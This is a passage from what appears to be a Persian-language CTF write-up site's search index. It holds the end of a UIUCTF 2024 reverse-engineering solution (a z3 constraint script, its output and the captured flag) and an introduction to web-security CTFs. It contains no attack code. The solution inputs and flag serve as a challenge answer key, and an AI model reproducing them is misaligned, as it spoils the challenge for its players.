\u0628\u0631\u0627\u06cc \u062d\u0644 \u0627\u06cc\u0646 \u062f\u0633\u062a\u06af\u0627\u0647 \u0646\u0633\u0628\u062a\u0627 \u067e\u06cc\u0686\u06cc\u062f\u0647 \u0628\u0647 \u062c\u0627\u06cc \u0631\u0648\u0634 \u0647\u0627\u06cc \u062f\u0633\u062a\u06cc\u060c \u0645\u06cc\u0627\u06cc\u0645 \u0627\u0632 \u06cc\u06a9 \u06a9\u062a\u0627\u0628\u062e\u0648\u0646\u0647 \u067e\u0627\u06cc\u062a\u0648\u0646 \u0628\u0647 \u0646\u0627\u0645 z3 \u06a9\u0647 \u0645\u062e\u0635\u0648\u0635 \u062d\u0644 \u0645\u0639\u0627\u062f\u0644\u0627\u062a \u0648 \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 \u0645\u062c\u0645\u0648\u0639\u0647\u200c\u0627\u06cc \u0627\u0632 assignment \u0647\u0627 \u06a9\u0647 \u06cc\u06a9 \u0633\u06cc\u0633\u062a\u0645 \u062e\u0637\u06cc \u0627\u0632 \u0634\u0631\u0627\u06cc\u0637 \u0631\u0648 \u0627\u0631\u0636\u0627 \u06a9\u0646\u0647 \u0647\u0633\u062a\u060c \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645 \u0648 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0632\u06cc\u0631 \u0631\u0648 \u0628\u0631\u0627\u06cc \u062d\u0644 \u0645\u06cc\u200c\u0646\u0648\u06cc\u0633\u06cc\u0645.

from z3 import *\n\na1 = BitVec('a1', 64)\na2 = BitVec('a2', 64)\na3 = BitVec('a3', 64)\na4 = BitVec('a4', 64)\na5 = BitVec('a5', 64)\na6 = BitVec('a6', 64)\n\ns = Solver()\n\ns.add(a1 >= 100000000, a1 <= 999999999)\ns.add(a2 >= 100000000, a2 <= 999999999)\ns.add(a3 >= 100000000, a3 <= 999999999)\ns.add(a4 >= 100000000, a4 <= 999999999)\ns.add(a5 >= 100000000, a5 <= 999999999)\ns.add(a6 >= 100000000, a6 <= 999999999)\n\ns.add(((a1 - a2) + a3) % 0x10AE961 == 4139449)\ns.add((a1 + a2) % 0x1093A1D == 9166034)\ns.add((3 * a1 - 2 * a2) % (a1 ^ a4) == 556569677)\ns.add((a2 & (a3 + a1)) % 0x6E22 == 12734)\ns.add((a2 + a4) % a1 == 540591164)\ns.add((a3 ^ (a4 + a6)) % 0x1CE628 == 1279714)\ns.add((a5 - a6) % 0x1172502 == 17026895)\ns.add((a5 + a6) % 0x2E16F83 == 23769303)\n\nif s.check() == sat:\n    model = s.model()\n    print(\"Solution found:\")\n    print(f\"a1 = {model[a1]}\")\n    print(f\"a2 = {model[a2]}\")\n    print(f\"a3 = {model[a3]}\")\n    print(f\"a4 = {model[a4]}\")\n    print(f\"a5 = {model[a5]}\")\n    print(f\"a6 = {model[a6]}\")\nelse:\n    print(\"No\")\n

\u0628\u0639\u062f \u0627\u0632 \u0631\u0627\u0646 \u06a9\u0631\u062f\u0646 \u0627\u06cc\u0646 \u06a9\u062f \u062e\u0631\u0648\u062c\u06cc \u0632\u06cc\u0631 \u0628\u0647 \u062f\u0633\u062a \u0645\u06cc\u200c\u0622\u06cc\u062f:

Solution found:\na1 = 705965527\na2 = 780663452\na3 = 341222189\na4 = 465893239\na5 = 966221407\na6 = 217433792\n
\u0628\u0627 \u0627\u062c\u0631\u0627 \u0648 \u062f\u0627\u062f\u0646 \u0627\u06cc\u0646 \u0648\u0631\u0648\u062f\u06cc\u200c\u0647\u0627 \u0628\u0647 \u0641\u0627\u06cc\u0644 \u0628\u0627\u06cc\u0646\u0631\u06cc\u060c \u0645\u06cc\u200c\u0628\u06cc\u0646\u06cc\u0645 \u06a9\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u0641\u0644\u06af \u0631\u0648 \u0628\u0631\u0627\u06cc \u0645\u0627 \u0686\u0627\u067e \u0645\u06cc\u200c\u06a9\u0646\u0647.

FLAG

uiuctf{2a142dd72e87fa9c1456a32d1bc4f77739975e5fcf5c6c0}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

Sadegh

","tags":["UIUCTF","UIUCTF-2024","Reverse"]},{"location":"steganography/","title":"Steganography","text":""},{"location":"web/","title":"\u0648\u0628","text":"","tags":["\u0648\u0628","\u0646\u0642\u0637\u0647 \u0634\u0631\u0648\u0639 \u0648\u0628"]},{"location":"web/#_2","title":"\u0648\u0642\u062a\u06cc \u0645\u06cc\u200c\u06af\u06cc\u0645 \u0686\u0644\u0646\u062c \u06cc\u0627 \u0686\u0627\u0644\u0634 \u0648\u0628, \u062f\u0642\u06cc\u0642\u0627 \u0627\u0632 \u0686\u06cc \u0635\u062d\u0628\u062a \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645\u061f","text":"

\u062f\u0633\u062a\u0647\u200c\u0628\u0646\u062f\u06cc \u0648\u0628, \u06cc\u06a9\u06cc \u0627\u0632 \u0631\u0627\u06cc\u062c\u200c\u062a\u0631\u06cc\u0646, \u06cc\u0627 \u0628\u0647\u062a\u0631\u0647 \u0628\u06af\u06cc\u0645 \u0631\u0627\u06cc\u062c\u200c\u062a\u0631\u06cc\u0646 \u062f\u0633\u062a\u0647 \u062f\u0631 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0641\u062a\u062d \u067e\u0631\u0686\u0645 \u0647\u0633\u062a \u06a9\u0647 \u0647\u062f\u0641\u200c \u0627\u0632 \u0627\u06cc\u0646 \u062f\u0633\u062a\u0647 \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 \u0648 \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a \u06a9\u0631\u062f\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u06cc \u0627\u067e\u0644\u06cc\u06a9\u06cc\u0634\u0646\u200c\u0647\u0627\u06cc \u062a\u062d\u062a \u0648\u0628 \u0648 \u062f\u0631 \u0646\u0647\u0627\u06cc\u062a \u0631\u0633\u06cc\u062f\u0646 \u0628\u0647 \u0641\u0644\u06af \u0648 \u062f\u0631\u06cc\u0627\u0641\u062a \u0627\u0645\u062a\u06cc\u0627\u0632 \u0627\u0648\u0646 \u0686\u0644\u0646\u062c \u0647\u0633\u062a. \u0628\u0627\u0632\u06cc \u06a9\u0631\u062f\u0646 \u0648 \u062d\u0644 \u06a9\u0631\u062f\u0646 \u0627\u06cc\u0646 \u0646\u0648\u0639 \u0686\u0627\u0644\u0634\u200c\u0647\u0627 \u0645\u06cc\u200c\u062a\u0648\u0646\u0647 \u0634\u0645\u0627 \u0631\u0648 \u0628\u0627 \u0627\u0628\u0632\u0627\u0631\u200c\u0647\u0627, \u0628\u0627\u06cc\u067e\u0633\u200c\u0647\u0627 \u0648 \u0645\u062a\u062f\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0622\u0634\u0646\u0627 \u06a9\u0646\u0647 \u0648 \u062f\u0631 \u06a9\u0646\u0627\u0631\u0634 \u0628\u0647\u062a\u0648\u0646 \u0633\u0648\u0631\u0633 \u06a9\u062f \u062e\u0648\u0627\u0646\u06cc \u062f\u0631 \u0632\u0628\u0627\u0646\u200c\u0647\u0627\u06cc \u0628\u0631\u0646\u0627\u0645\u0647 \u0646\u0648\u06cc\u0633\u06cc \u0645\u062e\u062a\u0644\u0641 \u0631\u0648 \u06cc\u0627\u062f \u0628\u062f\u0647 \u06a9\u0647 \u062f\u0631 \u06a9\u0644 \u0627\u06cc\u0646\u200c\u0647\u0627 \u0645\u06cc\u200c\u062a\u0648\u0646\u0646 \u062e\u06cc\u0644\u06cc \u0628\u0631\u0627\u06cc \u0627\u0631\u062a\u0642\u0627 \u062f\u0627\u0646\u0634 \u0648\u0628 \u0647\u06a9\u06cc\u0646\u06af \u0634\u0645\u0627 \u062f\u0631 \u0627\u067e\u0644\u06cc\u06a9\u06cc\u0634\u0646\u200c\u0647\u0627\u06cc \u0648\u0627\u0642\u0639\u06cc \u0645\u0641\u06cc\u062f \u0628\u0627\u0634\u0646\u062f (\u062f\u06cc\u062f\u0645 \u06a9\u0647 \u0645\u06cc\u200c\u06af\u0645. \u0628\u0647 \u0634\u0631\u0637 \u0627\u06cc\u0646\u06a9\u0647 \u0628\u0627 \u0633\u0646\u0627\u0631\u06cc\u0648\u200c\u0647\u0627\u06cc realworld \u0647\u0645 \u0622\u0634\u0646\u0627 \u0628\u0627\u0634\u06cc\u062f); \u067e\u0633 \u0627\u06af\u0631 \u0627\u062d\u06cc\u0627\u0646\u0627 \u0628\u0647\u062a\u0648\u0646 \u06af\u0641\u062a\u0646\u062f \u06a9\u0647 \u0627\u06cc\u0646\u200c\u0647\u0627 \u0641\u0642\u0637 \u0628\u0627\u0632\u06cc \u0647\u0633\u062a\u0646\u062f \u0648 \u062a\u0648\u06cc \u062f\u0646\u06cc\u0627\u06cc \u0648\u0627\u0642\u0639\u06cc \u06a9\u0627\u0631\u0628\u0631\u062f\u06cc \u0646\u062f\u0627\u0631\u0646\u062f, \u0628\u0627\u0648\u0631 \u0646\u06a9\u0646\u06cc\u062f.

","tags":["\u0648\u0628","\u0646\u0642\u0637\u0647 \u0634\u0631\u0648\u0639 \u0648\u0628"]},{"location":"web/#_3","title":"\u062f\u0627\u0646\u0634 \u0645\u0648\u0631\u062f \u0646\u06cc\u0627\u0632 \u0628\u0631\u0627\u06cc \u0634\u0631\u0648\u0639 \u0627\u06cc\u0646 \u062d\u0648\u0632\u0647 \u0686\u06cc\u0647\u061f","text":"

\u062f\u0631\u06a9 \u0633\u0627\u062e\u062a\u0627\u0631 \u0648\u0628:\u00a0\u062a\u0627 \u0628\u062d\u0627\u0644 \u0628\u0647 \u0627\u06cc\u0646 \u0641\u06a9\u0631 \u06a9\u0631\u062f\u06cc\u062f \u06a9\u0647 \u0645\u0631\u0648\u0631\u06af\u0631 \u0686\u0637\u0648\u0631\u06cc \u06cc\u06a9 \u0648\u0628\u0633\u0627\u06cc\u062a \u0631\u0648 render \u0645\u06cc\u200c\u06a9\u0646\u0647\u061f \u0635\u0641\u062d\u0647\u200c\u0627\u06cc \u06a9\u0647 \u0628\u0647 \u0634\u0645\u0627 \u0646\u0634\u0648\u0646 \u062f\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u0647 \u0645\u062a\u0634\u06a9\u0644 \u0627\u0632 HTML, CSS \u0648 Javascript \u0647\u0633\u062a, \u0644\u0630\u0627 \u0644\u0627\u0632\u0645\u0647 \u06a9\u0647 \u062a\u0627 \u062d\u062f\u0648\u062f\u06cc \u0628\u0627\u0647\u0627\u0634\u0648\u0646 \u0622\u0634\u0646\u0627 \u0628\u0627\u0634\u06cc\u062f (CSS \u0645\u0647\u0645 \u0646\u06cc\u0633\u062a \u0648 \u0628\u062e\u0634 \u0627\u0635\u0644\u06cc HTML \u0648 Javascript \u0647\u0633\u062a.). \u0647\u0631\u0686\u0642\u062f\u0631 \u0628\u06cc\u0634\u062a\u0631 Javascript \u0628\u0644\u062f \u0628\u0627\u0634\u06cc\u062f \u0628\u0647 \u0645\u0631\u0648\u0631 \u0645\u062a\u0648\u062c\u0647 \u0645\u06cc\u200c\u0634\u06cc\u062f \u06a9\u0647 \u0686\u0642\u062f\u0631 \u0645\u06cc\u200c\u062a\u0648\u0646\u0647 \u06a9\u0645\u06a9\u200c\u062a\u0648\u0646 \u0628\u06a9\u0646\u0647. \u062a\u0648\u062c\u0647 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u062f \u06a9\u0647 \u0634\u0645\u0627 \u0646\u0645\u06cc\u200c\u062e\u0648\u0627\u06cc\u062f \u06cc\u06a9 \u0637\u0631\u0627\u062d \u062d\u0631\u0641\u0647\u200c\u0627\u06cc \u0648\u0628\u0633\u0627\u06cc\u062a \u0628\u0634\u06cc\u062f, \u062f\u0631 \u0646\u062a\u06cc\u062c\u0647 \u062a\u0627 \u062d\u062f\u06cc \u06cc\u0627\u062f \u0628\u06af\u06cc\u0631\u06cc\u062f \u06a9\u0647 \u06a9\u0627\u0631\u062a\u0648\u0646 \u0631\u0648 \u0631\u0627\u0647 \u0628\u0646\u062f\u0627\u0632\u0647 \u0648 \u0628\u0639\u062f \u0647\u0631\u0648\u0642\u062a \u0644\u0627\u0632\u0645 \u0634\u062f, \u062f\u0648\u0628\u0627\u0631\u0647 \u0628\u0631\u06af\u0631\u062f\u06cc\u062f \u0648 \u0686\u06cc\u0632\u200c\u0647\u0627\u06cc\u06cc \u0631\u0648 \u06a9\u0647 \u0646\u06cc\u0627\u0632 \u0647\u0633\u062a \u06cc\u0627\u062f \u0628\u06af\u06cc\u0631\u06cc\u062f.

\u062f\u0631\u06a9 \u067e\u0631\u0648\u062a\u06a9\u0644 HTTP: \u0628\u0631\u0627\u06cc \u0648\u0631\u0648\u062f \u0628\u0647 \u0627\u06cc\u0646 \u062d\u0648\u0632\u0647 \u0628\u0627\u06cc\u062f \u062d\u062a\u0645\u0627 \u0628\u0627\u06cc\u062f \u06cc\u06a9 \u062f\u0631\u06a9 \u062d\u062f\u0627\u0642\u0644\u06cc \u0627\u0632 \u067e\u0631\u0648\u062a\u06a9\u0644 HTTP \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u062f \u0686\u0648\u0646 \u062a\u0645\u0627\u0645 \u0648\u0628 \u0628\u0631 \u0631\u0648\u06cc \u0647\u0645\u06cc\u0646 \u067e\u0631\u0648\u062a\u06a9\u0644 \u0633\u0648\u0627\u0631 \u0647\u0633\u062a \u0648 \u062a\u0627 \u0646\u062f\u0648\u0646\u06cc\u062f \u06a9\u0647 \u0686\u0637\u0648\u0631\u06cc \u06a9\u0627\u0631 \u0645\u06cc\u200c\u06a9\u0646\u0647 \u0633\u0631\u062f\u0631\u06af\u0631\u0645 \u062e\u0648\u0627\u0647\u06cc\u062f \u0628\u0648\u062f.

\u062f\u0631\u06a9 \u0628\u0631\u0646\u0627\u0645\u0647 \u0646\u0648\u06cc\u0633\u06cc:\u00a0\u0627\u0632 \u0627\u0648\u0646\u062c\u0627\u06cc\u06cc \u06a9\u0647 \u062e\u06cc\u0644\u06cc \u0627\u0632 \u0686\u0644\u0646\u062c\u200c\u0647\u0627 \u062d\u0627\u0648\u06cc \u0633\u0648\u0631\u0633 \u06a9\u062f \u0647\u0633\u062a\u0646\u062f, \u0628\u0627\u06cc\u062f \u062a\u0648\u0627\u0646\u0627\u06cc\u06cc \u062e\u0648\u0627\u0646\u062f\u0646 \u0633\u0648\u0631\u0633 \u06a9\u062f \u0648 \u062f\u0631\u06a9 \u0627\u0648\u0646 \u0631\u0648 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u062f. \u067e\u0633 \u062e\u06cc\u0644\u06cc \u062e\u0648\u0628\u0647 \u06a9\u0647 \u062d\u062f\u0627\u0642\u0644 \u0628\u0627 \u06cc\u06a9\u06cc \u0627\u0632 \u0632\u0628\u0627\u0646\u200c\u0647\u0627\u06cc \u0628\u0631\u0646\u0627\u0645\u0647 \u0646\u0648\u06cc\u0633\u06cc \u062a\u062d\u062a \u0648\u0628 \u0622\u0634\u0646\u0627\u06cc\u06cc \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u062f. \u0641\u0631\u0636 \u06a9\u0646\u06cc\u062f \u06cc\u06a9 \u0686\u0644\u0646\u062c \u0637\u0631\u0627\u062d\u06cc \u0634\u062f\u0647 \u06a9\u0647 \u062d\u0627\u0648\u06cc \u06a9\u062f Node.js \u0647\u0633\u062a, \u062f\u0642\u062a \u06a9\u0646\u06cc\u062f \u06a9\u0647 \u0645\u0647\u0645 \u0627\u06cc\u0646\u0647 \u06a9\u0647 \u0628\u062a\u0648\u0646\u06cc\u062f \u0627\u06cc\u0646 \u06a9\u062f \u0631\u0648 \u062f\u0631\u06a9 \u06a9\u0646\u06cc\u062f \u0648 \u067e\u06cc \u0628\u0628\u0631\u06cc\u062f \u06a9\u0647 \u062f\u0627\u0631\u0647 \u0686\u06a9\u0627\u0631 \u0645\u06cc\u200c\u06a9\u0646\u0647, \u0648 \u0644\u0632\u0648\u0645\u06cc \u0646\u062f\u0627\u0631\u0647 \u06a9\u0647 \u0628\u062a\u0648\u0646\u06cc\u062f \u0628\u0627 \u0627\u06cc\u0646 \u0632\u0628\u0627\u0646 \u06cc\u06a9 \u0648\u0628\u0633\u0627\u06cc\u062a \u0628\u0646\u0648\u06cc\u0633\u06cc\u062f. \u0628\u0627\u0632\u200c \u0647\u0645 \u062a\u0627\u06a9\u06cc\u062f \u0645\u06cc\u200c\u06a9\u0646\u0645 \u06a9\u0647 \u0634\u0645\u0627 \u0646\u0645\u06cc\u200c\u062e\u0648\u0627\u06cc\u062f \u06cc\u06a9 \u0637\u0631\u0627\u062d \u0648\u0628\u0633\u0627\u06cc\u062a \u0628\u0634\u06cc\u062f.

\u062f\u0631\u06a9 \u062d\u062f\u0627\u0642\u0644\u06cc \u0627\u0632 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u06cc \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 \u0648\u0628:\u00a0 \u0628\u0639\u062f \u0627\u0632 \u06af\u0630\u0631\u0648\u0646\u062f\u0646 \u0645\u0631\u0627\u062d\u0644 \u0628\u0627\u0644\u0627, \u062d\u0627\u0644\u0627 \u0648\u0642\u062a\u0634 \u0631\u0633\u06cc\u062f\u0647 \u06a9\u0647 \u0628\u0631\u06cc\u062f \u0633\u0631 \u0642\u0633\u0645\u062a \u067e\u0631\u0647\u06cc\u062c\u0627\u0646 \u0648 \u0627\u0635\u0644\u06cc \u0645\u0627\u062c\u0631\u0627, \u06cc\u0639\u0646\u06cc \u062d\u0645\u0644\u0627\u062a \u0648 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u06cc \u0631\u0627\u06cc\u062c \u0627\u067e\u0644\u06cc\u06a9\u06cc\u0634\u0646\u200c\u0647\u0627\u06cc \u0648\u0628! \u0634\u0645\u0627 \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646\u06a9\u0647 \u0628\u062a\u0648\u0646\u06cc\u062f \u06cc\u06a9 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc\u200c \u0631\u0648 \u067e\u06cc\u062f\u0627 \u0648 \u0633\u067e\u0633 \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a \u06a9\u0646\u06cc\u062f, \u0628\u0627\u06cc\u062f \u0628\u062f\u0648\u0646\u06cc\u062f \u0627\u0648\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0686\u06cc\u0647, \u0686\u0637\u0648\u0631\u06cc \u0628\u0648\u062c\u0648\u062f \u0645\u06cc\u0627\u062f, \u0648 \u0686\u0637\u0648\u0631\u06cc \u0645\u06cc\u200c\u0634\u0647 \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a\u0634 \u06a9\u0631\u062f. \u0628\u0631\u0627\u06cc \u0622\u0634\u0646\u0627\u06cc\u06cc \u0628\u0627 \u0627\u06cc\u0646 \u0628\u062e\u0634 \u0645\u06cc\u200c\u062a\u0648\u0646\u06cc\u062f \u0627\u0632 OWASP TOP10 \u0634\u0631\u0648\u0639 \u06a9\u0646\u06cc\u062f. \u0627\u06cc\u0646 \u067e\u0631\u0648\u0698\u0647 \u0631\u0627\u06cc\u062c\u200c\u062a\u0631\u06cc\u0646 \u0631\u06cc\u0633\u06a9\u200c\u0647\u0627 \u0631\u0648 \u062f\u0631 \u062f\u0646\u06cc\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a \u0648\u0628 \u0628\u0647 \u062f\u0647 \u0628\u062e\u0634 \u062a\u0642\u0633\u06cc\u0645 \u06a9\u0631\u062f\u0647 \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0646\u06cc\u062f \u0647\u0631 \u0628\u062e\u0634 \u0631\u0648 \u062c\u062f\u0627 \u062c\u062f\u0627 \u0633\u0631\u0686 \u06a9\u0646\u06cc\u062f \u0648 \u06cc\u0627\u062f \u0628\u06af\u06cc\u0631\u06cc\u062f. \u067e\u06cc\u0634\u0646\u0647\u0627\u062f \u0645\u06cc\u200c\u06a9\u0646\u0645 \u06a9\u062a\u0627\u0628 Web Application Security, \u0646\u0648\u0634\u062a\u0647 Andrew Hoffman \u0631\u0648 \u0647\u0645 \u0627\u0632 \u062f\u0633\u062a \u0646\u062f\u06cc\u062f. \u0627\u06cc\u0646 \u06a9\u062a\u0627\u0628 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u06cc \u0648\u0628 \u0631\u0648 \u0647\u0645 \u0627\u0632 \u062f\u06cc\u062f \u062a\u0647\u0627\u062c\u0645\u06cc, \u0648 \u0647\u0645 \u0627\u0632 \u062f\u06cc\u062f \u062a\u062f\u0627\u0641\u0639\u06cc \u0645\u0648\u0631\u062f \u0628\u0631\u0631\u0633\u06cc \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0647 \u0648 \u0645\u0637\u0627\u0644\u0639\u0647 \u0627\u0648\u0646 \u0645\u06cc\u200c\u062a\u0648\u0646\u0647 \u062f\u06cc\u062f\u062a\u0648\u0646 \u0631\u0648 \u062e\u06cc\u0644\u06cc \u0628\u0627\u0632\u200c\u062a\u0631 \u0628\u06a9\u0646\u0647.

","tags":["\u0648\u0628","\u0646\u0642\u0637\u0647 \u0634\u0631\u0648\u0639 \u0648\u0628"]},{"location":"web/#ctf","title":"\u062d\u0644 \u0686\u0644\u0646\u062c\u200c\u0647\u0627\u06cc CTF \u062f\u0631 \u062d\u0648\u0632\u0647 \u0648\u0628, \u0686\u0647 \u0641\u0627\u06cc\u062f\u0647\u200c\u0627\u06cc \u062f\u0627\u0631\u0647 \u0648\u0642\u062a\u06cc \u0645\u06cc\u200c\u062a\u0648\u0646\u0645 \u0647\u0627\u0646\u062a \u06a9\u0646\u0645 \u0648 \u067e\u0648\u0644 \u062f\u0631 \u0628\u06cc\u0627\u0631\u0645\u061f","text":"

\u0628\u06cc\u0627\u06cc\u062f \u0627\u06cc\u0646 \u0645\u0633\u0626\u0644\u0647 \u0631\u0648 \u0628\u0627\u0632\u200c\u062a\u0631 \u06a9\u0646\u06cc\u0645... \u0648\u0642\u062a\u06cc \u0634\u0645\u0627 \u062f\u0627\u0646\u0634 \u0648\u0628 \u0647\u06a9\u06cc\u0646\u06af \u062f\u0627\u0631\u06cc\u062f, \u0645\u06cc\u200c\u062a\u0648\u0646\u06cc\u062f \u06a9\u0627\u0631\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641\u06cc \u0628\u06a9\u0646\u06cc\u062f, \u0627\u0632 \u062c\u0645\u0644\u0647 \u062a\u0633\u062a \u0646\u0641\u0648\u0630, \u0647\u0627\u0646\u062a, \u0631\u062f \u062a\u06cc\u0645 \u0648... \u06a9\u0647 \u0647\u0645\u0634\u0648\u0646 \u062f\u0631 \u062f\u0646\u06cc\u0627\u06cc \u0648\u0627\u0642\u0639\u06cc \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u200c\u0634\u0646. \u062d\u0627\u0644\u0627 \u0628\u06cc\u0627\u06cc\u062f \u0628\u0647 CTF \u062f\u0631 \u0642\u0627\u0644\u0628 \u06cc\u06a9 \u062a\u0645\u0631\u06cc\u0646, \u062f\u0633\u062a\u06af\u0631\u0645\u06cc \u0648 \u0628\u0627\u0632\u06cc \u0646\u06af\u0627\u0647 \u06a9\u0646\u06cc\u0645. \u0686\u0644\u0646\u062c\u200c\u0647\u0627\u06cc \u0648\u0628 \u06cc\u06a9 \u0645\u062d\u06cc\u0637 \u0634\u0628\u06cc\u0647 \u0633\u0627\u0632\u06cc \u0634\u062f\u0647 \u0627\u0632 \u0633\u0646\u0627\u0631\u06cc\u0648\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0627\u0632 \u062e\u06cc\u0644\u06cc \u0622\u0633\u0648\u0646, \u062a\u0627 \u062e\u06cc\u0644\u06cc \u0633\u062e\u062a \u062f\u0631 \u0627\u062e\u062a\u06cc\u0627\u0631 \u0634\u0645\u0627 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0646\u062f. \u0627\u06cc\u0646 \u0633\u0646\u0627\u0631\u06cc\u0648\u200c\u0647\u0627 \u0628\u0639\u0636\u0627 \u062f\u0631 \u062f\u0646\u06cc\u0627\u06cc \u0648\u0627\u0642\u0639\u06cc \u067e\u06cc\u0634 \u0645\u06cc\u0627\u0646, \u0648 \u0628\u0639\u0636\u0627 \u0641\u0642\u0637 \u0645\u062d\u062f\u0648\u062f \u0628\u0647 \u062f\u0646\u06cc\u0627\u06cc CTF \u0647\u0633\u062a\u0646\u062f. \u062a\u0645\u0631\u06cc\u0646 \u0648 \u062a\u06a9\u0631\u0627\u0631 \u0686\u0644\u0646\u062c\u200c\u0647\u0627 \u0648 \u0633\u0648\u0627\u0644\u0627\u062a \u0645\u062e\u062a\u0644\u0641 \u0645\u06cc\u200c\u062a\u0648\u0646\u0647 \u0628\u0647 \u062d\u0636\u0648\u0631 \u0630\u0647\u0646 \u0634\u0645\u0627 \u06a9\u0645\u06a9 \u0641\u0631\u0627\u0648\u0627\u0646\u06cc \u0628\u06a9\u0646\u0647 \u0648 \u0645\u0646\u062c\u0631 \u0628\u0634\u0647 \u0648\u0642\u062a\u06cc \u062f\u0631 \u0627\u067e\u0644\u06cc\u06a9\u06cc\u0634\u0646\u200c\u0647\u0627\u06cc \u0648\u0628 \u0648\u0627\u0642\u0639\u06cc \u0628\u0627 \u06cc\u06a9 \u0645\u06a9\u0627\u0646\u06cc\u0632\u0645 \u0631\u0648\u0628\u0631\u0648 \u0634\u062f\u06cc\u062f, \u0633\u0646\u0627\u0631\u06cc\u0648\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641\u06cc \u0628\u0631\u0627\u0634 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u062f \u0648 \u062f\u0633\u062a \u067e\u0631 \u0628\u0647 \u062c\u0646\u06af\u0634 \u0628\u0631\u06cc\u062f. \u0645\u0648\u0631\u062f \u0628\u0639\u062f\u06cc \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0646\u0645 \u0628\u0647\u0634 \u0627\u0634\u0627\u0631\u0647 \u06a9\u0646\u0645, \u0627\u0641\u0632\u0627\u06cc\u0634 \u0645\u0647\u0627\u0631\u062a \u0648 \u0639\u0645\u06cc\u0642\u200c\u062a\u0631 \u0634\u062f\u0646 \u062f\u0627\u0646\u0634 \u0634\u0645\u0627 \u062f\u0631 \u0648\u0628 \u0647\u06a9\u06cc\u0646\u06af \u0647\u0633\u062a. \u0647\u0645\u0648\u0646\u0637\u0648\u0631 \u06a9\u0647 \u062f\u0631 \u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u0627\u0648\u0644 \u0635\u0641\u062d\u0647 \u06af\u0641\u062a\u0645, \u0627\u06cc\u0646 \u062f\u0633\u062a\u0647 \u0627\u0632 \u0633\u0648\u0627\u0644\u0627\u062a \u0645\u06cc\u200c\u062a\u0648\u0646\u0646 \u0645\u0647\u0627\u0631\u062a\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641\u06cc \u0631\u0648 \u062f\u0631 \u0634\u0645\u0627 \u067e\u0631\u0648\u0631\u0634 \u0628\u062f\u0646\u062f. \u0634\u0645\u0627 \u06a9\u062c\u0627 \u0645\u06cc\u062e\u0648\u0627\u06cc\u062f \u0627\u06cc\u0646 \u0647\u0645\u0647 \u0633\u0648\u0631\u0633 \u06a9\u062f \u0631\u0627\u062d\u062a \u0648 \u067e\u06cc\u0686\u06cc\u062f\u0647 \u0628\u0628\u06cc\u0646\u06cc\u062f \u0648 \u0628\u0634\u06cc\u0646\u06cc\u062f \u062a\u062d\u0644\u06cc\u0644\u200c\u0634\u0648\u0646 \u06a9\u0646\u06cc\u062f\u061f! D:\u00a0

","tags":["\u0648\u0628","\u0646\u0642\u0637\u0647 \u0634\u0631\u0648\u0639 \u0648\u0628"]},{"location":"web/#_4","title":"\u0627\u0632 \u06a9\u062c\u0627 \u0634\u0631\u0648\u0639 \u06a9\u0646\u0645\u061f","text":"

\u0627\u06af\u0631 \u0634\u0645\u0627 \u0647\u0645 \u0639\u0644\u0627\u0642\u0645\u0646\u062f \u0647\u0633\u062a\u06cc\u062f \u06a9\u0647 \u062f\u0633\u062a\u06cc \u0628\u0647 \u062d\u0648\u0632\u0647 \u0648\u0628 \u0628\u0628\u0631\u06cc\u062f, \u067e\u06cc\u0634\u0646\u0647\u0627\u062f\u0645 \u0628\u0647 \u0634\u0645\u0627 picoCTF \u0647\u0633\u062a.picoCTF \u0645\u0633\u0627\u0628\u0642\u0647\u200c\u0627\u06cc \u0647\u0633\u062a \u06a9\u0647 \u0633\u0627\u0644\u0627\u0646\u0647 \u0628\u0631\u06af\u0632\u0627\u0631 \u0645\u06cc\u200c\u0634\u0647 \u0648 \u0633\u0648\u0627\u0644\u0627\u062a\u0634 \u0647\u0645 \u06a9\u0627\u0645\u0644\u0627 \u0645\u0646\u0627\u0633\u0628 \u0628\u0631\u0627\u06cc \u0627\u0641\u0631\u0627\u062f \u0645\u0628\u062a\u062f\u06cc \u0648 \u062a\u0627\u0632\u0647 \u06a9\u0627\u0631 \u0647\u0633\u062a\u0646\u062f, \u0648 \u0646\u06a9\u062a\u0647 